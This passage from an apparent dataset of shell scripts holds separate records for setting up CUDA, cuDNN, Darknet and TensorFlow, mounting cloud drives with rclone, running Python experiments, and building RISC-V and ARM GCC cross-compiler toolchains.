LC_ALL=en_US.UTF-8' >> ~/.bashrc \n\n\n# CUDA\ncurl -O http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/cuda-repo-ubuntu1604_9.0.176-1_amd64.deb\nsudo apt-key adv --fetch-keys http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/7fa2af80.pub\nsudo dpkg -i cuda-repo-ubuntu1604_9.0.176-1_amd64.deb\nsudo apt-get update\nsudo apt-get -y install cuda-9-0\n\n\n\n# CUDNN\nwget https://www.dropbox.com/s/67p1cm243ebxmjy/cudnn-9.0-linux-x64-v7.2.1.38.tgz?dl=0\nmv cudnn-9.0-linux-x64-v7.2.1.38.tgz?dl=0 cudnn-9.0-linux-x64-v7.2.1.38.tgz\ntar xzvf cudnn-9.0-linux-x64-v7.2.1.38.tgz\nsudo cp cuda/include/cudnn.h /usr/local/cuda/include\nsudo cp cuda/lib64/libcudnn* /usr/local/cuda/lib64\nsudo chmod a+r /usr/local/cuda/include/cudnn.h /usr/local/cuda/lib64/libcudnn*\n\n\n# Darknet\nexport PATH=/usr/local/cuda-9.0/bin${PATH:+:${PATH}}\nexport LD_LIBRARY_PATH=/usr/local/cuda-9.0/lib64:$LD_LIBRARY_PATH\nexport LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH\necho 'export LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH' >> ~/.bashrc \necho 'export LD_LIBRARY_PATH=/usr/local/cuda-9.0/lib64:$LD_LIBRARY_PATH' >> ~/.bashrc \ngit clone https://github.com/pjreddie/darknet\ncd darknet\nwget https://pjreddie.com/media/files/darknet53.conv.74\nsed -i 's/GPU=.*/GPU=1/' Makefile\nsed -i 's/CUDNN=.*/CUDNN=1/' Makefile\nsed -i -e 's/ if(i%10000==0 || (i < 1000 && i%100 == 0)){/ if(i%400==0){/g' ./examples/detector.c\nsed -i -e \"s|#lib = CDLL(\\\"/home/pjreddie/documents/darknet/libdarknet.so\\\", RTLD_GLOBAL)|lib = CDLL(\\\"$HOME/darknet/libdarknet.so\\\", RTLD_GLOBAL)|g\" ./python/darknet.py\nsed -i -e \"s|lib = CDLL(\\\"libdarknet.so\\\", RTLD_GLOBAL)|#lib = CDLL(\\\"libdarknet.so\\\", RTLD_GLOBAL)|g\" ./python/darknet.py\nmake\n\n# Protoc\ncd ~\ncurl -OL https://github.com/google/protobuf/releases/download/v3.4.0/protoc-3.4.0-linux-x86_64.zip\nunzip protoc-3.4.0-linux-x86_64.zip -d protoc3\nsudo mv protoc3/bin/* /usr/local/bin/\nsudo mv protoc3/include/* /usr/local/include/\n\n# Tensorflow\ncd ~\nsudo apt -y install python3-dev python3-pip\nsudo pip3 install -U virtualenv # system-wide install\nvirtualenv --system-site-packages -p python3 ./venv_py3\nsource ./venv_py3/bin/activate # sh, bash, ksh, or zsh\npip install --upgrade pip\npip install --upgrade tensorflow-gpu\npip install pandas\npip install lxml\npip install pillow\npip install opencv-python\npip install matplotlib\n\n# Tensorflow object detection API\ncd ~\ngit clone https://github.com/tensorflow/models.git \ncd models/research\npython setup.py build\npython setup.py install\nsed -i -e 's/ eval_config, category_index.values(), eval_dict)/ eval_config, list(category_index.values()), eval_dict)/g' ./object_detection/model_lib.py\nsed -i '27itf.logging.set_verbosity(tf.logging.INFO)' ./object_detection/model_main.py\npip install pycocotools\necho 'export PYTHONPATH=$PYTHONPATH:~/models/research:~/models/research/slim' >> ~/.bashrc \necho 'protoc -I=$HOME/models/research $HOME/models/research/object_detection/protos/*.proto --python_out=$HOME/models/research' >> ~/.bashrc \n\ndeactivate\n\ncd ~\nvirtualenv --system-site-packages -p python2 ./venv_py2\nsource ./venv_py2/bin/activate # sh, bash, ksh, or zsh\npip install opencv-python\npip install matplotlib\ndeactivate\n\n# Setup data folder\ncd ~\nmkdir data\ncd data\nmkdir datasets\nmkdir SSD_mobilenet\ncd SSD_mobilenet\nmkdir data\nmkdir models\ncd models\nmkdir model\ncd model\nwget https://raw.githubusercontent.com/tensorflow/models/master/research/object_detection/samples/configs/ssd_mobilenet_v1_coco.config\nwget http://download.tensorflow.org/models/object_detection/ssd_mobilenet_v1_coco_2018_01_28.tar.gz\ntar xzvf ssd_mobilenet_v1_coco_2018_01_28.tar.gz"} {"text": "rclone --vfs-cache-mode writes mount shauravraj_onedrive: ~/shauravraj-onedrive &\nrclone --vfs-cache-mode writes mount shauravraj_googledrive: ~/shauravraj-googledrive &\nrclone --vfs-cache-mode writes mount shauravraj_dropbox: ~/shauravraj-dropbox &\nrclone --vfs-cache-mode writes mount adhik013_dropbox: ~/adhik013-dropbox &\nrclone --vfs-cache-mode writes mount shauravraj_mega: ~/shauravraj-mega &\nrclone --vfs-cache-mode writes mount adhik013_googledrive: ~/adhik013-googledrive &"} {"text": "python main.py \\\n\t--scm_class adult \\\n\t--dataset_class adult \\\n\t--classifier_class nonsens_mlp \\\n\t--experimental_setups m0_true m1_alin m1_akrr \\\n\t--lambda_lcb 1 \\\n\t--optimization_approach brute_force \\\n\t--grid_search_bins 4 -e 9 \\\n\t--sensitive_attribute_nodes x1 x2 x3 \\\n\t--non_intervenable_nodes x4 \\\n\t--num_train_samples 1500 \\\n\t--num_fair_samples 10 \\\n\t--batch_number 0 \\\n\t--sample_count 1000"} {"text": "OMP_NUM_THREADS=1 python -m torch.distributed.launch --nproc_per_node=1 ../run.py \\\n--graph_size 100 \\\n--batch_size 512 \\\n--precision 32 \\\n--run_name debug \\\n--seed 1235 \\\n--no_wandb \\\n--attention_type original \\\n--encoding_knn_size 100 \\\n--decoding_knn_size 100"} {"text": "#!/bin/bash -eux\n\nexport BINPATH=$(pwd)/bin\nexport GOPATH=$(pwd)/go\n\npushd $GOPATH/src/github.com/ONSdigital/dp-dd-csv-filter\n go build -o $BINPATH/dp-dd-csv-filter\npopd"} {"text": "install_riscv-gnu-toolchain-rv32i.sh\n#!/bin/bash\n#\"***************************************************************************************************\"\n# common initialization\n#\"***************************************************************************************************\"\n# perform some version control checks on this file\n./gitcheck.sh $0\n\n# initialize some environment variables and perform some sanity checks\n. ./init.sh\n\n# we don't want tee to capture exit codes\nset -o pipefail\n\n# ensure we alwaye start from the $WORKSPACE directory\ncd \"$WORKSPACE\"\n#\"***************************************************************************************************\"\n# Install riscv-gnu-toolchain-rv32i\n#\"***************************************************************************************************\"\nTHIS_LOG=$LOG_DIRECTORY\"/\"$THIS_FILE_NAME\"_riscv-gnu-toolchain-rv32i_\"$LOG_SUFFIX\".log\"\n\n# Ubuntu packages needed:\nsudo apt-get install autoconf automake autotools-dev curl libmpc-dev \\\n libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo \\\n gperf libtool patchutils bc zlib1g-dev git libexpat1-dev --assume-yes 2>&1 | tee -a \"$THIS_LOG\"\n\nsudo mkdir -p /opt/riscv32i\nsudo chown $USER /opt/riscv32i\n\n# setup the path, even though there may be nothing in it yet\ncd ulx3s-toolchain\n. ./set_riscv_path.sh\n\n# note we called init.sh when setting the path, so we are back in the $WORKSPACE directory now\n\necho \"***************************************************************************************************\"\necho \" riscv-gnu-toolchain-rv32i. Saving log to $THIS_LOG\"\necho \"***************************************************************************************************\"\n\n# users sitting behind a firewall may need these:\n\ngit config --global url.https://github.com/.insteadOf git://github.com/\ngit config --global url.https://git.qemu.org/git/.insteadOf git://git.qemu-project.org/\ngit config --global url.https://anongit.freedesktop.org/git/.insteadOf git://anongit.freedesktop.org/\ngit config --global url.https://github.com/riscv.insteadOf git://github.com/riscv\n\nif [ ! -d \"$WORKSPACE\"/riscv-gnu-toolchain-rv32i ]; then\n git clone https://github.com/riscv/riscv-gnu-toolchain riscv-gnu-toolchain-rv32i 2>&1 | tee -a \"$THIS_LOG\"\n $SAVED_CURRENT_PATH/check_for_error.sh $? \"$THIS_LOG\"\n\n cd riscv-gnu-toolchain-rv32i\n git checkout 411d134\n\n echo \"This next step takes a long time. Be patient:\"\n git submodule update --init --recursive\n $SAVED_CURRENT_PATH/check_for_error.sh $? \"$THIS_LOG\"\nelse\n cd riscv-gnu-toolchain-rv32i\n git fetch 2>&1 | tee -a \"$THIS_LOG\"\n\n # we are in a detached head at 411d134 so cannot pull\n # git pull 2>&1 | tee -a \"$THIS_LOG\"\n # $SAVED_CURRENT_PATH/check_for_error.sh $? \"$THIS_LOG\"\n # git checkout 411d134\n\n git submodule update --recursive 2>&1 | tee -a \"$THIS_LOG\"\nfi\n\n# after we have new (or fresh) files, build\nmkdir -p build; 2>&1 | tee -a \"$THIS_LOG\"\n$SAVED_CURRENT_PATH/check_for_error.sh $? \"$THIS_LOG\"\n\ncd build\n\n../configure --with-arch=rv32i --prefix=/opt/riscv32i 2>&1 | tee -a \"$THIS_LOG\"\n$SAVED_CURRENT_PATH/check_for_error.sh $? \"$THIS_LOG\"\n\nmake -j$(nproc) 2>&1 | tee -a \"$THIS_LOG\"\n$SAVED_CURRENT_PATH/check_for_error.sh $? \"$THIS_LOG\"\n\necho \"Completed $0 \" | tee -a \"$THIS_LOG\""} {"text": "#!/bin/sh -e\n#\n# Copyright (c) 2009-2021 <>\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nARCH=$(uname -m)\nDIR=$PWD\n\n. \"${DIR}/system.sh\"\n\n#For:\n#toolchain\n. \"${DIR}/version.sh\"\n\nif [ -f \"${DIR}/.yakbuild\" ] ; then\n\t. \"${DIR}/recipe.sh\"\nfi\n\nif [ -d $HOME/dl/gcc/ ] ; then\n\tgcc_dir=\"$HOME/dl/gcc\"\nelse\n\tgcc_dir=\"${DIR}/dl\"\nfi\n\ndl_gcc_generic () {\n\tWGET=\"wget -c --directory-prefix=${gcc_dir}/\"\n\tif [ \"x${extracted_dir}\" = \"x\" ] ; then\n\t\tfilename_prefix=${gcc_filename_prefix}\n\telse\n\t\tfilename_prefix=${extracted_dir}\n\tfi\n\n\tif [ ! -f \"${gcc_dir}/${filename_prefix}/${datestamp}\" ] ; then\n\t\techo \"Installing Toolchain: ${toolchain}\"\n\t\techo \"-----------------------------\"\n\t\t${WGET} \"${gcc_html_path}${gcc_filename_prefix}.tar.xz\"\n\t\tif [ -d \"${gcc_dir}/${filename_prefix}\" ] ; then\n\t\t\trm -rf \"${gcc_dir}/${filename_prefix}\" || true\n\t\tfi\n\t\ttar -xf \"${gcc_dir}/${gcc_filename_prefix}.tar.xz\" -C \"${gcc_dir}/\"\n\t\tif [ -f \"${gcc_dir}/${filename_prefix}/${binary}gcc\" ] ; then\n\t\t\ttouch \"${gcc_dir}/${filename_prefix}/${datestamp}\"\n\t\tfi\n\telse\n\t\techo \"Using Existing Toolchain: ${toolchain}\"\n\tfi\n\n\tif [ \"x${ARCH}\" = \"xarmv7l\" ] ; then\n\t\t#using native gcc\n\t\tCC=\n\telse\n\t\tCC=\"${gcc_dir}/${filename_prefix}/${binary}\"\n\tfi\n}\n\ngcc_toolchain () {\n\tunset extracted_dir\n\tcase \"${toolchain}\" in\n\tgcc_linaro_eabi_4_9)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/4.9-2017.01/arm-eabi/gcc-linaro-4.9.4-2017.01-x86_64_arm-eabi.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/4.9-2017.01/arm-eabi/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-4.9.4-2017.01-x86_64_arm-eabi\"\n\t\tgcc_banner=\"arm-eabi-gcc (Linaro GCC 4.9-2017.01) 4.9.4\"\n\t\tgcc_copyright=\"2015\"\n\t\tdatestamp=\"2017.01-gcc-arm-none-eabi\"\n\n\t\tbinary=\"bin/arm-eabi-\"\n\t\t;;\n\tgcc_linaro_eabi_5)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/5.4-2017.05/arm-eabi/gcc-linaro-5.4.1-2017.05-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/5.5-2017.10/arm-eabi/gcc-linaro-5.5.0-2017.10-x86_64_arm-eabi.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/5.5-2017.10/arm-eabi/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-5.5.0-2017.10-x86_64_arm-eabi\"\n\t\tgcc_banner=\"arm-eabi-gcc (Linaro GCC 5.5-2017.10) 5.5.0\"\n\t\tgcc_copyright=\"2015\"\n\t\tdatestamp=\"2017.10-gcc-arm-none-eabi\"\n\n\t\tbinary=\"bin/arm-eabi-\"\n\t\t;;\n\tgcc_linaro_eabi_6)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.3-2017.05/arm-eabi/gcc-linaro-6.3.1-2017.05-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2017.08/arm-eabi/gcc-linaro-6.4.1-2017.08-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2017.11/arm-eabi/gcc-linaro-6.4.1-2017.11-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2018.05/arm-eabi/gcc-linaro-6.4.1-2018.05-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.5-2018.12/arm-eabi/gcc-linaro-6.5.0-2018.12-x86_64_arm-eabi.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/6.5-2018.12/arm-eabi/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-6.5.0-2018.12-x86_64_arm-eabi\"\n\t\tgcc_banner=\"arm-eabi-gcc (Linaro GCC 6.5-2018.12) 6.5.0\"\n\t\tgcc_copyright=\"2017\"\n\t\tdatestamp=\"2018.12-gcc-arm-none-eabi\"\n\n\t\tbinary=\"bin/arm-eabi-\"\n\t\t;;\n\tgcc_linaro_eabi_7)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.1-2017.05/arm-eabi/gcc-linaro-7.1.1-2017.05-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.1-2017.08/arm-eabi/gcc-linaro-7.1.1-2017.08-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.2-2017.11/arm-eabi/gcc-linaro-7.2.1-2017.11-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.3-2018.05/arm-eabi/gcc-linaro-7.3.1-2018.05-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.4-2019.02/arm-eabi/gcc-linaro-7.4.1-2019.02-x86_64_arm-eabi.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.5-2019.12/arm-eabi/gcc-linaro-7.5.0-2019.12-x86_64_arm-eabi.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/7.5-2019.12/arm-eabi/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-7.5.0-2019.12-x86_64_arm-eabi\"\n\t\tgcc_banner=\"arm-eabi-gcc (Linaro GCC 7.5-2019.12) 7.5.0\"\n\t\tgcc_copyright=\"2017\"\n\t\tdatestamp=\"2019.12-gcc-arm-none-eabi\"\n\n\t\tbinary=\"bin/arm-eabi-\"\n\t\t;;\n\tgcc_arm_eabi_8)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.3-2019.03/binrel/gcc-arm-8.3-2019.03-x86_64-arm-eabi.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/8.3-2019.03/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-8.3-2019.03-x86_64-arm-eabi\"\n\t\tgcc_banner=\"arm-eabi-gcc (GNU Toolchain for the A-profile Architecture 8.3-2019.03 (arm-rel-8.36)) 8.3.0\"\n\t\tgcc_copyright=\"2018\"\n\t\tdatestamp=\"2019.03-gcc-arm-none-eabi\"\n\n\t\tbinary=\"bin/arm-eabi-\"\n\t\t;;\n\tgcc_arm_eabi_9)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/9.2-2019.12/binrel/gcc-arm-9.2-2019.12-x86_64-arm-none-eabi.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/9.2-2019.12/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-9.2-2019.12-x86_64-arm-none-eabi\"\n\t\tgcc_banner=\"arm-none-eabi-gcc (GNU Toolchain for the A-profile Architecture 9.2-2019.12 (arm-9.10)) 9.2.1 20191025\"\n\t\tgcc_copyright=\"2019\"\n\t\tdatestamp=\"2019.12-gcc-arm-none-eabi\"\n\n\t\tbinary=\"bin/arm-none-eabi-\"\n\t\t;;\n\tgcc_arm_eabi_10)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/10.2-2020.11/binrel/gcc-arm-10.2-2020.11-x86_64-arm-none-eabi.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/10.2-2020.11/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-10.2-2020.11-x86_64-arm-none-eabi\"\n\t\tgcc_banner=\"arm-none-eabi-gcc (GNU Toolchain for the A-profile Architecture 10.2-2020.11 (arm-10.16)) 10.2.1 20201103\"\n\t\tgcc_copyright=\"2020\"\n\t\tdatestamp=\"2020.11-gcc-arm-none-eabi\"\n\n\t\tbinary=\"bin/arm-none-eabi-\"\n\t\t;;\n\tgcc_linaro_gnueabihf_4_9)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/4.9-2017.01/arm-linux-gnueabihf/gcc-linaro-4.9.4-2017.01-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/4.9-2017.01/arm-linux-gnueabihf/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-4.9.4-2017.01-x86_64_arm-linux-gnueabihf\"\n\t\tgcc_banner=\"arm-linux-gnueabihf-gcc (Linaro GCC 4.9-2017.01) 4.9.4\"\n\t\tgcc_copyright=\"2015\"\n\t\tdatestamp=\"2017.01-gcc-arm-linux-gnueabihf\"\n\n\t\tbinary=\"bin/arm-linux-gnueabihf-\"\n\t\t;;\n\tgcc_linaro_gnueabihf_5)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/5.4-2017.05/arm-linux-gnueabihf/gcc-linaro-5.4.1-2017.05-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/5.5-2017.10/arm-linux-gnueabihf/gcc-linaro-5.5.0-2017.10-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/5.5-2017.10/arm-linux-gnueabihf/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-5.5.0-2017.10-x86_64_arm-linux-gnueabihf\"\n\t\tgcc_banner=\"arm-linux-gnueabihf-gcc (Linaro GCC 5.5-2017.10) 5.5.0\"\n\t\tgcc_copyright=\"2015\"\n\t\tdatestamp=\"2017.10-gcc-arm-linux-gnueabihf\"\n\n\t\tbinary=\"bin/arm-linux-gnueabihf-\"\n\t\t;;\n\tgcc_linaro_gnueabihf_6)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.3-2017.05/arm-linux-gnueabihf/gcc-linaro-6.3.1-2017.05-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2017.08/arm-linux-gnueabihf/gcc-linaro-6.4.1-2017.08-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2017.11/arm-linux-gnueabihf/gcc-linaro-6.4.1-2017.11-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2018.05/arm-linux-gnueabihf/gcc-linaro-6.4.1-2018.05-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.5-2018.12/arm-linux-gnueabihf/gcc-linaro-6.5.0-2018.12-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/6.5-2018.12/arm-linux-gnueabihf/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-6.5.0-2018.12-x86_64_arm-linux-gnueabihf\"\n\t\tgcc_banner=\"arm-linux-gnueabihf-gcc (Linaro GCC 6.5-2018.12) 6.5.0\"\n\t\tgcc_copyright=\"2017\"\n\t\tdatestamp=\"2018.12-gcc-arm-linux-gnueabihf\"\n\n\t\tbinary=\"bin/arm-linux-gnueabihf-\"\n\t\t;;\n\tgcc_linaro_gnueabihf_7)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.1-2017.05/arm-linux-gnueabihf/gcc-linaro-7.1.1-2017.05-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.1-2017.08/arm-linux-gnueabihf/gcc-linaro-7.1.1-2017.08-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.2-2017.11/arm-linux-gnueabihf/gcc-linaro-7.2.1-2017.11-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.3-2018.05/arm-linux-gnueabihf/gcc-linaro-7.3.1-2018.05-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.4-2019.02/arm-linux-gnueabihf/gcc-linaro-7.4.1-2019.02-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.5-2019.12/arm-linux-gnueabihf/gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/7.5-2019.12/arm-linux-gnueabihf/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-7.5.0-2019.12-x86_64_arm-linux-gnueabihf\"\n\t\tgcc_banner=\"arm-linux-gnueabihf-gcc (Linaro GCC 7.5-2019.12) 7.5.0\"\n\t\tgcc_copyright=\"2017\"\n\t\tdatestamp=\"2019.12-gcc-arm-linux-gnueabihf\"\n\n\t\tbinary=\"bin/arm-linux-gnueabihf-\"\n\t\t;;\n\tgcc_arm_gnueabihf_8)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.2-2018.08/gcc-arm-8.2-2018.08-x86_64-arm-linux-gnueabihf.tar.xz\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.2-2018.11/gcc-arm-8.2-2018.11-x86_64-arm-linux-gnueabihf.tar.xz\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.2-2019.01/gcc-arm-8.2-2019.01-x86_64-arm-linux-gnueabihf.tar.xz\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.3-2019.03/binrel/gcc-arm-8.3-2019.03-x86_64-arm-linux-gnueabihf.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/8.3-2019.03/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-8.3-2019.03-x86_64-arm-linux-gnueabihf\"\n\t\tgcc_banner=\"arm-linux-gnueabihf-gcc (GNU Toolchain for the A-profile Architecture 8.3-2019.03 (arm-rel-8.36)) 8.3.0\"\n\t\tgcc_copyright=\"2018\"\n\t\tdatestamp=\"2019.03-gcc-arm-linux-gnueabihf\"\n\n\t\tbinary=\"bin/arm-linux-gnueabihf-\"\n\t\t;;\n\tgcc_arm_gnueabihf_9)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/9.2-2019.12/binrel/gcc-arm-9.2-2019.12-x86_64-arm-none-linux-gnueabihf.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/9.2-2019.12/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-9.2-2019.12-x86_64-arm-none-linux-gnueabihf\"\n\t\tgcc_banner=\"arm-none-linux-gnueabihf-gcc (GNU Toolchain for the A-profile Architecture 9.2-2019.12 (arm-9.10)) 9.2.1 20191025\"\n\t\tgcc_copyright=\"2019\"\n\t\tdatestamp=\"2019.12-gcc-arm-linux-gnueabihf\"\n\n\t\tbinary=\"bin/arm-none-linux-gnueabihf-\"\n\t\t;;\n\tgcc_arm_gnueabihf_10)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/10.2-2020.11/binrel/gcc-arm-10.2-2020.11-x86_64-arm-none-linux-gnueabihf.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/10.2-2020.11/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-10.2-2020.11-x86_64-arm-none-linux-gnueabihf\"\n\t\tgcc_banner=\"arm-none-linux-gnueabihf-gcc (GNU Toolchain for the A-profile Architecture 10.2-2020.11 (arm-10.16)) 10.2.1 20201103\"\n\t\tgcc_copyright=\"2020\"\n\t\tdatestamp=\"2020.11-gcc-arm-linux-gnueabihf\"\n\n\t\tbinary=\"bin/arm-none-linux-gnueabihf-\"\n\t\t;;\n\tgcc_linaro_aarch64_gnu_5)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/5.4-2017.05/aarch64-linux-gnu/gcc-linaro-5.4.1-2017.05-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/5.5-2017.10/aarch64-linux-gnu/gcc-linaro-5.5.0-2017.10-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/5.5-2017.10/aarch64-linux-gnu/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-5.5.0-2017.10-x86_64_aarch64-linux-gnu\"\n\t\tgcc_banner=\"aarch64-linux-gnu-gcc (Linaro GCC 5.5-2017.10) 5.5.0\"\n\t\tgcc_copyright=\"2015\"\n\t\tdatestamp=\"2017.10-gcc-aarch64-linux-gnu\"\n\n\t\tbinary=\"bin/aarch64-linux-gnu-\"\n\t\t;;\n\tgcc_linaro_aarch64_gnu_6)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.3-2017.05/aarch64-linux-gnu/gcc-linaro-6.3.1-2017.05-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2017.08/aarch64-linux-gnu/gcc-linaro-6.4.1-2017.08-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2017.11/aarch64-linux-gnu/gcc-linaro-6.4.1-2017.11-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.4-2018.05/aarch64-linux-gnu/gcc-linaro-6.4.1-2018.05-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/6.5-2018.12/aarch64-linux-gnu/gcc-linaro-6.5.0-2018.12-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/6.5-2018.12/aarch64-linux-gnu/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-6.5.0-2018.12-x86_64_aarch64-linux-gnu\"\n\t\tgcc_banner=\"aarch64-linux-gnu-gcc (Linaro GCC 6.5-2018.12) 